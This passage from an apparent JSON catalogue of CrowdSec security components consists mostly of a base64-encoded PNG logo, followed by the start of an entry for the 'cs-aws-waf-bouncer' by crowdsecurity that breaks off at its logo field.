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" }, { "name": "cs-aws-waf-bouncer", "author": "crowdsecurity", "logo": 